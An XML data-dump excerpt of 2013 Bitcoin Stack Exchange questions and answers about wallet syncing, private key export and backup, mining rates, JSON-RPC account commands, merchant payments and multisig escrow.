  <row Id="13819" PostTypeId="1" CreationDate="2013-10-16T16:48:19.460" Score="1" ViewCount="1190" Body="&lt;p&gt;Someone recently stole the computer where my Bitcoin were. As my hard drive was entirely encrypted and as I had backups of my wallet.dat file in three different places, I'm not afraid of losing money, so that's not the problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bought a new computer, reinstalled everything including bitcoin-qt. I launched it and it started synchronizing with the blockchain. However, the sync process seems to have stopped, and hasn't moved since yesterday. When I put my mouse on the progression bar, it reads « Catching up… Processed 153771 of 264122 blocks [...] Last received block was generated 99 weeks ago. [...] », and it does not change. That's strange, because on the bottom-right corner, it reads that I have « 8 active connexions to Bitcoin network ».&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone an idea of what the problem could be? I doubt that it is a connexion problem, because it first worked perfectly… I would prefer to make bitcoin-qt work rather than use another client.&lt;/p&gt;&#xA;" OwnerUserId="7121" LastActivityDate="2014-05-03T19:28:22.830" Title="The bitcoin-qt synchronization just stopped" Tags="|client|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13820" PostTypeId="2" ParentId="13802" CreationDate="2013-10-16T21:01:03.450" Score="0" Body="&lt;p&gt;At the time only SQLite is available on Windows platform, so the correct configuration is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[node_db]&#xA;type=Sqlite&#xA;path=hashnode.db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-16T21:01:03.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13821" PostTypeId="1" AcceptedAnswerId="13822" CreationDate="2013-10-16T23:18:08.937" Score="3" ViewCount="299" Body="&lt;p&gt;When I try to buy something using bitcoins, how does that merchant know that I have payed them the agreed amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, how does the merchant know that &lt;strong&gt;I&lt;/strong&gt; payed for the product, and that they can start shipping the product to &lt;strong&gt;me&lt;/strong&gt;. I thought that bitcoin was anonymous in its transactions&lt;/p&gt;&#xA;" OwnerUserId="7124" LastActivityDate="2013-10-17T08:11:04.583" Title="How do bitcoin merchants know that it was YOU that payed them" Tags="|merchants|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13822" PostTypeId="2" ParentId="13821" CreationDate="2013-10-17T01:24:56.077" Score="6" Body="&lt;p&gt;because they most likely generated a new address for you to send your payment to.  Since you're the only one that was given that address, when the payment comes in for that address, they know it was  you that paid it.&lt;/p&gt;&#xA;" OwnerUserId="7128" LastActivityDate="2013-10-17T01:24:56.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13823" PostTypeId="2" ParentId="13687" CreationDate="2013-10-17T02:52:45.257" Score="8" Body="&lt;p&gt;&lt;strong&gt;Thin Clients (&lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&quot; rel=&quot;nofollow&quot;&gt;SPV&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit.org&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tools -&gt; Export Private Keys -&gt; Open the file you exported&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://grabhive.com&quot; rel=&quot;nofollow&quot;&gt;grabHive.com&lt;/a&gt; (Mac only)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Export not yet implemented&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Browser Add-ons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sparecoins.io/&quot; rel=&quot;nofollow&quot;&gt;SpareCoins.io&lt;/a&gt; (Chrome)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wrench icon -&gt; Backup Wallet (encrypted)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Full Clients&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Help -&gt; Debug window -&gt; Console&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;walletpassphrase {passphrase} {timeout}&lt;/li&gt;&#xA;&lt;li&gt;dumpwallet {filename} (Recommended method, dumps all wallet keys in a human-readble format, &lt;em&gt;into a file named filename&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;dumpprivkey {bitcoinaddress} (Optional method, exports a private key)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clients with Deterministic Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinarmory.com&quot; rel=&quot;nofollow&quot;&gt;BitcoinArmory.com&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wallet Properties -&gt; Backup Individual Keys -&gt; Private Key (Plain Base58)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;Electrum.org&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Export -&gt; Private Keys -&gt; Open the file you exported&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Web Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://strongcoin.com&quot; rel=&quot;nofollow&quot;&gt;StrongCoin.com&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your Accounts -&gt; Select one -&gt; Decode Private Key (with passphrase)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;BlockChain.info&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Import/Export -&gt; Export Unencrypted -&gt; Look for 5*, L* or K* Private Keys&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Android Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mycelium.com&quot; rel=&quot;nofollow&quot;&gt;Mycelium.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keys -&gt; (Options bar |) -&gt; Export&lt;/li&gt;&#xA;&lt;li&gt;(OUT OF DATE) Key Management -&gt; (Options) -&gt; Export to SD card(jpg to &quot;mycelium-export&quot; folder), QR code or to the clipboard&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(Options) -&gt; Settings -&gt; Advanced -&gt; Export private key -&gt; QR code or clipboard&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt; (by Andreas Schildbach)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(Options) -&gt; Back up Keys (encrypted)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;openssl enc -d -aes-256-cbc -a -in &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.... there will be more in time, hope to keep this answer updated&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6756" LastEditorUserId="1743" LastEditDate="2015-12-06T15:31:44.973" LastActivityDate="2015-12-06T15:31:44.973" CommentCount="2" CommunityOwnedDate="2013-10-18T16:59:59.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="13824" PostTypeId="1" CreationDate="2013-10-17T04:17:36.973" Score="0" ViewCount="2748" Body="&lt;p&gt;I have a Nvidia GTX 765 GPU, over clocked with a core KH rate of 850 (give or take a few).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run CGMiner, everything works fine except I have an extremely low KH rate (8 or 9 KH).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configuration is standard, besides adding --scrypt because I'm mining LTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't the first time I've had problems with CGMiner (gave up entirely on LTC before because of such problems) and I can't find any fix to this. The only problem I could think of is that it is using my integrated GPU, considering it claims to be using &quot;GPU/Thread 0&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the problem is? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7130" LastActivityDate="2013-12-03T21:38:19.357" Title="CGMiner Problems (low kh rate)" Tags="|litecoin|gpu|cgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13825" PostTypeId="2" ParentId="13801" CreationDate="2013-10-17T08:00:28.807" Score="1" Body="&lt;p&gt;Sure you could However it would be necessary to know how you transact with the coins...do you simply trade them out for fiat immediately?  If so, then I would create the payment as a check from the exchange for the dollar equivalent that was collected and put the transaction ID and recipient address in QB.  You should probably setup something like coinpunk or at least a full wallet server so that you can issue one time use addresses that are meant to be tied to your customer's account.  This way, it will be easier to reconcile later.  If you try to process your payments together manually into your own wallet, then I at least suggest to create a new wallet each month so that your transactions can be bundled together for ease of reconciliation purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that you can add XBT as a currency yet within QB but then again I haven't used it in a couple years now.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-10-17T08:00:28.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13826" PostTypeId="2" ParentId="13821" CreationDate="2013-10-17T08:11:04.583" Score="0" Body="&lt;p&gt;These are just my supposition, but I think the merchant itself would not be bothered if someone else send the right amount to the  merchant Bitcoin address :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have &lt;strong&gt;registered&lt;/strong&gt; for buying the object, and the merchant sees that the amount has been received (and confirmed) in the address specifically generated for this deal, he will just conclude that it was you who paid and ship the product.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastActivityDate="2013-10-17T08:11:04.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13828" PostTypeId="1" CreationDate="2013-10-17T09:17:16.877" Score="5" ViewCount="1170" Body="&lt;p&gt;I came across this quote on bitcoin.it: &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot; rel=&quot;noreferrer&quot;&gt;BIP_0032&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;elliptic curve mathematics permit schemes where one can calculate the&#xA;  public keys without revealing the private keys. This permits for&#xA;  example a webshop business to let its webserver generate fresh&#xA;  addresses (public key hashes) for each order or for each customer,&#xA;  without giving the webserver access to the corresponding private keys&#xA;  (which are required for spending the received funds).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This lead me to read more about some custom wallet implementations, namely &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;noreferrer&quot;&gt;pycoin&lt;/a&gt;. After looking through the code, I still can't understand how it is possible to generate public keys without giving the server access to the private key.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2016-02-29T19:28:13.993" Title="How is it possible that webservers with deterministic wallets can produce public keys without knowing the underlying private key?" Tags="|wallet|security|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13830" PostTypeId="2" ParentId="13828" CreationDate="2013-10-17T12:33:42.967" Score="-1" Body="&lt;p&gt;What is probably happening is that the web server is really generating both parts of the pair (public and private) but is immediately discarding the private part without storing it anywhere on the server. Since no private keys are stored on the server (perhaps not even on any computer connected to a network) any attack will not result in private keys being compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However since the the wallet is deterministic, another computer that is offline (not connected to a network) can generate the identical sequence of key pairs. That offline computer is used to actually store the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Periodically the offline computer could be used to &quot;sweep&quot; all the receiving addresses to consolidate the funds in a single address (also offline) to simplify things. This is done by well known offline transaction generation procedures.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-17T12:33:42.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13831" PostTypeId="1" CreationDate="2013-10-17T12:47:54.037" Score="0" ViewCount="284" Body="&lt;p&gt;I am running bitcoin-qt v0.8.5 on Linux/amd64 and I encounter a strange behaviour for account commands when using JSON-RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial wallet looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test-Account | 1PNU1vZbruMCZpVBFk3eKmKrfGKDugBsjB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After issuing the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setaccount '1PNU1vZbruMCZpVBFk3eKmKrfGKDugBsjB' 'Renamed Account'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just expected the old account to be renamed, but the wallet changes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Renamed Account | 1PNU1vZbruMCZpVBFk3eKmKrfGKDugBsjB&#xA;Test-Account    | 16jfcbLM9tGrkvXqGKnuC46j2jqKVMAe46&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It created a new address for the old account (it is always the same new address for the same old address !?). Is that behaviour intended? The documentation I could find is unconclusive about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this I issued the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getaccountaddress 'Renamed Account'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I expected to get the address &quot;1PNU1vZbruMCZpVBFk3eKmKrfGKDugBsjB&quot; as a result. But instead I got the single address &quot;176uhGVRT8KxScvQqdA7Yh87qQ8F5LMMM6&quot; - and the wallet now looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Renamed Account | 1PNU1vZbruMCZpVBFk3eKmKrfGKDugBsjB&#xA;Renamed Account | 176uhGVRT8KxScvQqdA7Yh87qQ8F5LMMM6&#xA;Test-Account    | 16jfcbLM9tGrkvXqGKnuC46j2jqKVMAe46&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is happening here? What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7134" LastActivityDate="2014-07-14T18:28:46.840" Title="JSON-RPC problem with Bitcoin-Qt 0.8.5" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13832" PostTypeId="2" ParentId="1480" CreationDate="2013-10-17T12:56:06.287" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://BitcoinBath.com&quot; rel=&quot;nofollow&quot;&gt;http://BitcoinBath.com&lt;/a&gt; looks pretty promising as a bitcoin mixer. They aren't fully out of beta testing yet but keep an eye out, they are sure to the lead bitcoin tumbler in technology soon.&lt;/p&gt;&#xA;" OwnerUserId="7135" LastActivityDate="2013-10-17T12:56:06.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13833" PostTypeId="2" ParentId="13785" CreationDate="2013-10-17T12:59:41.060" Score="0" Body="&lt;p&gt;If seems that if this was part of the bitcoin protocol, wallet developers would just build in automatic sending the coins to another address you also own. So that wouldn't do anything to money velocity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then what would be left is a massive hassle for those who'd store their coins offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually increase money velocity you would need to change the economic incentives (like FreiCoin).&lt;/p&gt;&#xA;" OwnerUserId="7036" LastActivityDate="2013-10-17T12:59:41.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13834" PostTypeId="2" ParentId="13831" CreationDate="2013-10-17T13:32:21.737" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained#Accounts_and_Receiving_Addresses&quot; rel=&quot;nofollow&quot;&gt;Accounts wiki page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;getaccountaddress&lt;/code&gt; will return the same address until coins are received on that address; once coins have been received, it will generate and return a new address.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;getnewaddress&lt;/code&gt; always generates and returns a new address.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;setaccount&lt;/code&gt; changes the account associated with an existing address. Coins previously received on that address (if any) will be debited from the previous account's balance and credited to the address' new account. Note that doing so may make the previous account's balance negative.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;getaddressesbyaccount&lt;/code&gt; method to list all addresses associated with an account.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-10-17T13:32:21.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13835" PostTypeId="1" CreationDate="2013-10-17T13:43:18.720" Score="5" ViewCount="433" Body="&lt;p&gt;I would like to know what are the most sophisticated ways to estimate the amount of bitcoin that has been bought globally with various fiat currencies. Exchange data is only one source, and may well cover a large percentage of value that has been transferred but I can't help thinking there must be a lot of &quot;off exchange&quot; trades going on which may well account for a lot of value. I would also consider fiat money spent on mining investments including implied energy costs as a transfer of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what is the opinion of the community on the best way to measure how quickly fiat value is being transferred into bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it another way, what is the shared &quot;stake&quot; in bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-10-19T02:02:01.393" LastActivityDate="2014-10-14T14:14:49.337" Title="What is the most reliable way to calculate the amount of fiat value that has been transferred into the bitcoin economy?" Tags="|economic-theory|marketplace|market-depth|market|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13836" PostTypeId="2" ParentId="13785" CreationDate="2013-10-17T14:42:25.233" Score="3" Body="&lt;h2&gt;It hasn't been tried yet&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At this point to the best of my knowledge there is no crypto currency that uses either expiration of transaction outputs or expiration of addresses. Therefore there are no experimental results available to observe expiration's effect on velocity. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;It wouldn't affect velocity&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, one might argue that any sensible period of time (at least five years) would not have a significant effect on the velocity of the money: Savings would just be moved and the transaction fee would not pertain to a significant amount of loss. There'd be a jackpot every once in a while in the mining rewards, creating peak hash rates, and sudden liquidity spikes if the miners sell their rewards directly. Compared to the velocity generated by the majority of the user population that should be negligible though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A smaller period of time would turn into a saving fee per address, as you'd be forced to pay at least one transaction per address every period of time. This would disadvantage smaller bitcoin holders compared to people that have larger funds in fewer addresses.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Freicoin implements demurrage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The closest that I could come up with is &lt;a href=&quot;http://freico.in&quot; rel=&quot;nofollow&quot;&gt;Freicoin&lt;/a&gt;, which implements a demurrage of about 5% per annum. It is implemented in such a way that every time a block is mined a tiny fraction of your savings will be added to the mining reward, so that you will lose about 5% per year. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Demurrage slowly drains lost funds&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While the demurrage is mainly implemented in order to discourage hording, stabilize the mining reward, and increase the velocity of money, it will also very slowly drain lost funds back into the mining reward. Assuming the target block interval were maintained, in 20 years about 64% of lost funds would be returned into the market. After 50 years more than 92% of lost funds would be recycled.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-10-18T13:23:44.867" LastActivityDate="2013-10-18T13:23:44.867" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13837" PostTypeId="1" CreationDate="2013-10-17T15:26:22.163" Score="0" ViewCount="279" Body="&lt;p&gt;What is the timestamp used for the blocks on blockexplorer.com &#xA;For example block 233969 has: &#xA;&lt;strong&gt;Time: 2013-04-30 23:27:36&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this time converted to 32bit hex for hash calculation, if so how ?&lt;/p&gt;&#xA;" OwnerUserId="6365" LastActivityDate="2014-04-16T03:07:20.350" Title="understanding timestamp from blockexplorer.com" Tags="|block|hash|timestamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13838" PostTypeId="1" CreationDate="2013-10-17T16:27:46.687" Score="4" ViewCount="3344" Body="&lt;p&gt;Since Bitcoin payments are non-reversible, what technical and business solutions are there to mediate issues such as&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product wasn't as expected&lt;/li&gt;&#xA;&lt;li&gt;Payment was double spent or in an invalid chain&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now it seems that these issues are fixed by &quot;having a service on top of Bitcoin&quot; and these mediators use their own opinion to mediate the transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that these mediators may be biased for the seller, or the buyer and may not be publicly accountable (or audited) for their decisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What solutions exist (no matter how imperfect they are) to address product disputes when doing transactions with Bitcoin or other Virtual currency?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2021-08-04T05:11:19.803" Title="How can a Bitcoin consumer and a Bitcoin seller mediate disputes?" Tags="|payment|revert-transaction|currencies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13839" PostTypeId="1" CreationDate="2013-10-17T16:29:13.797" Score="1" ViewCount="759" Body="&lt;p&gt;On Coinbase under &lt;code&gt;Merchant Profile&lt;/code&gt; I'm entering the URL:&#xA;&lt;a href=&quot;https://www.scirra.com/handlers/coinbasecallback.ashx&quot; rel=&quot;nofollow&quot;&gt;https://www.scirra.com/handlers/coinbasecallback.ashx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the IPN tester.  This &lt;code&gt;ashx&lt;/code&gt; page has the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var r = &quot;&quot;;&#xA;foreach(string name in context.Request.Form)&#xA;{&#xA;    r +=(name + &quot; = &quot; + context.Request.Form[name] + &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;);&#xA;}&#xA;r += &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot; + context.Request.QueryString;&#xA;Amazon.Emailer.SendEmail(&quot;xxx@domain.com&quot;,&quot;xxx@domain.com&quot;,&quot;Callback Dat&quot;, r);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The email I receive contains absolutely no data, although the logs page on Coinbase implies it's posting JSON data and returning &lt;code&gt;HTTP 200 (success)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?  Or is this a broken feature?  Can I (semi) safely assume that it posts the JSON in live mode?  And if so, do I simply &lt;code&gt;Request.Form[0]&lt;/code&gt; to retrieve it or does it have a string index?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="7138" LastActivityDate="2018-04-17T22:54:43.313" Title="Coinbase IPN test page not posting data?" Tags="|payment|coinbase.com|c#|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13840" PostTypeId="1" CreationDate="2013-10-17T17:40:45.350" Score="0" ViewCount="2146" Body="&lt;p&gt;This is my first time to try to run bitcoin miner on my laptop (for testing), I used &lt;code&gt;bfgminer&lt;/code&gt; and was able to run it however I'm not sure if its going anywhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; CPU 0:       |  1.27/ 1.28/ 0.00Mh/s | A:0 R:0+0(none) HW:0/none&#xA; CPU 1:       |  1.16/ 1.27/ 0.00Mh/s | A:0 R:0+0(none) HW:0/none&#xA; CPU 2:       |  0.94/ 1.18/ 0.00Mh/s | A:0 R:0+0(none) HW:0/none&#xA; CPU 3:       |  1.16/ 1.20/ 0.00Mh/s | A:0 R:0+0(none) HW:0/none&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this mean, my miner is not processing or mining as I can see its &lt;code&gt;0.00Mh/s&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="7140" LastEditorUserId="5406" LastEditDate="2016-04-24T09:56:19.513" LastActivityDate="2016-04-24T09:56:19.513" Title="Identify if miner is mining at all" Tags="|miner-configuration|bfgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13841" PostTypeId="1" CreationDate="2013-10-17T20:31:58.447" Score="9" ViewCount="9204" Body="&lt;p&gt;I want to do a private escrow between me and someone else for a Bitcoin miner, and it will take weeks or months for that miner to arrive.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I think multisig is an easy trust-free way to accommodate this.  What is the correct sequence of actions that I can use to handle this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to also have arbitration in case either party refuses to release the funds?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2017-06-29T08:51:45.867" Title="How do I use Multisig transactions to handle escrow needs?" Tags="|bitcoin-core|multi-signature|escrow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13842" PostTypeId="1" CreationDate="2013-10-17T22:33:00.973" Score="-2" ViewCount="197" Body="&lt;p&gt;Are all XRPs worth the same amount, regardless of each gateway you use them at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have one gateway who is un trustworthy, or will depreciate in value.&lt;br&gt;&#xA;Suppose I also have a gateway that is backed by vaults of gold and a fixed number of XRP&#xA;Finally suppose I have a gateway with an equal amount of gold, but a growing number of XRP (diluting share value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the value of XRP normalize across the markets?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this normalization part of a vetting process done by OpenCoin, to ensure quality gateways?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens to a gateway that has more XRP than gold it has? .. or becomes a bad actor who is untrustworthy (Madoff)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-10-18T06:42:08.067" Title="Are all ripples worth the same amount? Is value specific to each gateway?" Tags="|ripple|value|market|" AnswerCount="2" CommentCount="2" ClosedDate="2020-05-05T13:43:57.043" ContentLicense="CC BY-SA 3.0" />
